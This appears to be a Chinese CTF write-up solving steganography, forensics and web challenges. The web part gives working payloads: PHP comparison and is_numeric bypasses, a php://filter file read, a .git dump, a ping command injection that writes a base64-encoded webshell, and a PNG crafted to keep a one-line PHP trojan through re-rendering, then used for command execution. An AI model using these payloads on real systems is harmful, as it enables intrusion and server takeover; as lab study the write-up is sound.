Hint 1: 如果我的hide是steghide那你该如何seek呢?
参考其他师傅的博客http://t.csdnimg.cn/5uwMx还有http://t.csdnimg.cn/rRu5L
用工具Steghide发现需要密码,咱没有密码只能用stegseek工具爆破github项目:https://github.com/RickdeJager/stegseek
字典文件:rockyou.txt
运行time stegseek hide\ and\ seek.jpg rockyou.txt
之后在同目录下下发现flag文件
附件内容:
R0I0RU9ZTE5NVjVWT1pMTU1NWUcyWks3S1JYVjZNRFlJNVFXMlpKU0dBWkRHSUpCUFU9PT09PT0=
解 base64 --> base32 即可
wireShark打开后追踪TCP流,发现密码very_safe_password
在第四个流里面发现zip压缩包的十六进制数据,把它保存为txt文件,然后导入010editer后保存为zip文件
Ctrl + S快捷键保存文件
打开压缩包,解压需要密码,输入刚刚的very_safe_password
,然后获得flag
LSB隐写,用StegSolve打开,选择Data Extract
RGB通道最后面那里打上三个√,选择LSB First,然后点击Preview获得前半段flag
根据题意,least的反义词就是most,那么我们把RGB通道最前面那里打上三个√,选择LSB First,然后点击Preview获得后半段flag
其他师傅的WP0xGame2023 wp _ 甜筒园.htmlhttps://www.ttycp3.top/archives/d4f5203b.html
访问网站之后Ctrl + U 查看源代码,发现一个JS文件,点开看看
在这个js文件的最后一行发现了一行注释,它说源代码在index-33309f51.js.map
,发现它和这个js的文件路径很像,那么我们访问一下
访问这个文件之后就会自动的下载下来,打开之后直接搜索0xgame就发现了flag
a和b用数组绕过MD5弱比较,利用md5()函数的缺陷进行绕过;
is_numeric()函数用1024.1a绕。1024.1a是字符串,但是弱比较的时候,因为数字在前面,弱比较的时候,php会将其整体转成数字,就可以通过is_numeric() 的检测并且不等于1024;
而intval()函数 获取变量的整数值,那么1024.1就变成了1024;
最后Cookie传值name使用文件包含name=php://filter/convert.base64-encode/resource=flag
#安装
python3 -m pip install -i https://pypi.org/simple/ GitHacker
#运行
githacker --url http://120.27.148.152:50013/.git/ --output-folder result
#进入目录后查看历史版本
git log --reflog
#切换版本为flag那个
git reset --hard 8a5b670558921bd232d75b29542492f00698298b
#在当前目录匹配包含flag的文件
grep -r "flag" ./
<?php
function sanitize($s) {
$s = str_replace(';', '', $s);
$s = str_replace(' ', '', $s);
$s = str_replace('/', '', $s);
$s = str_replace('flag', '', $s);
return $s;
}
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
if (!isset($_POST['ip'])) {
die('No IP Address');
}
$ip = $_POST['ip'];
$ip = sanitize($ip);
if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
die('Invalid IP Address');
}
system('ping -c 4 '.$ip. ' 2>&1');
?>
利用管道符进行多命令执行,写文件到当前目录:
ip=127.0.0.1|echo${IFS}"PD9waHAgc3lzdGVtKCdjYXQgL2YqJyk7"|base64${IFS}-d${IFS}>1.php
题目附件:
f044d557fc93de077e4fe649ed6280b3 (1).zip
先看一下附件的upload.php文件,发现imagecreatefromgif函数,搜索之后发现是二次渲染的
函数
session_start();
$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';
if (!file_exists($user_dir)) {
mkdir($user_dir);
}
switch ($_FILES['file']['type']) {
case "image/gif":
$source = imagecreatefromgif($_FILES['file']['tmp_name']);
break;
case "image/jpeg":
$source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
break;
case "image/png":
$source = imagecreatefrompng($_FILES['file']['tmp_name']);
break;
default:
die('Invalid file type!');
}
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;
switch ($_FILES['file']['type']) {
case "image/gif":
imagegif($source, $filepath);
break;
case "image/jpeg":
imagejpeg($source, $filepath);
break;
case "image/png":
imagepng($source, $filepath);
break;
default:
die('Invalid file type!');
}
echo 'Upload avatar success! Path: '.$filepath;
$_SESSION['avatar'] = $filepath;
?>
参考博客:[http://t.csdnimg.cn/zBoVm](http://t.csdnimg.cn/zBoVm)
二次渲染原理:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
绕过:
将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话
先用脚本处理一个2.png
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
$_GET[0]($_POST[1]);?>
*/
?>
用记事本打开2.png发现里面有一句话木马
然后开启BurpSuite,在上传2.png的时候抓包,修改后缀为2.php
,这样浏览器才能解析PHP代码
上传成功,获得文件路径,访问一下,发现已经成功解析代码,那么我们就可以进RCE(代码执行)了
通过下面的方式执行命令(貌似要结合文件包含,但我没发现):
get传参0=system
加上
post传参1=whoami
在发现已经执行whoami命令显示了用户www-data之后,那么我们ls /
查看一下根目录文件
发现了flag文件,那么我们查看flag,POST传参1=cat /flag
,那么就获得了最终flag
花了三个小时才解出这题。 锲而不舍,金石可镂!